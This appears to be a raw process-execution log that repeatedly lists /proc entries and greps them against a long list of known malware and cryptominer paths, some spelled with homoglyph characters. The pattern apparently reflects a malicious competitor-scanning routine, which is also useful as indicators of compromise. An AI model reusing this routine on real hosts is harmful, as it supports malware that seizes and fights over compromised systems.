[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/493]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/494]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/676]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/69]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/691]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/692]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/697]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/70]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/71]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/714]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/716]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/717]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/719]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/72]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/720]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/723]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/73]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/74]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/ls

[ls -latrh /proc/747]

/bin/grep

[grep exe]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/748]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/76]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/77]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/78]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/79]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/8]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/82]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/device-tree]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

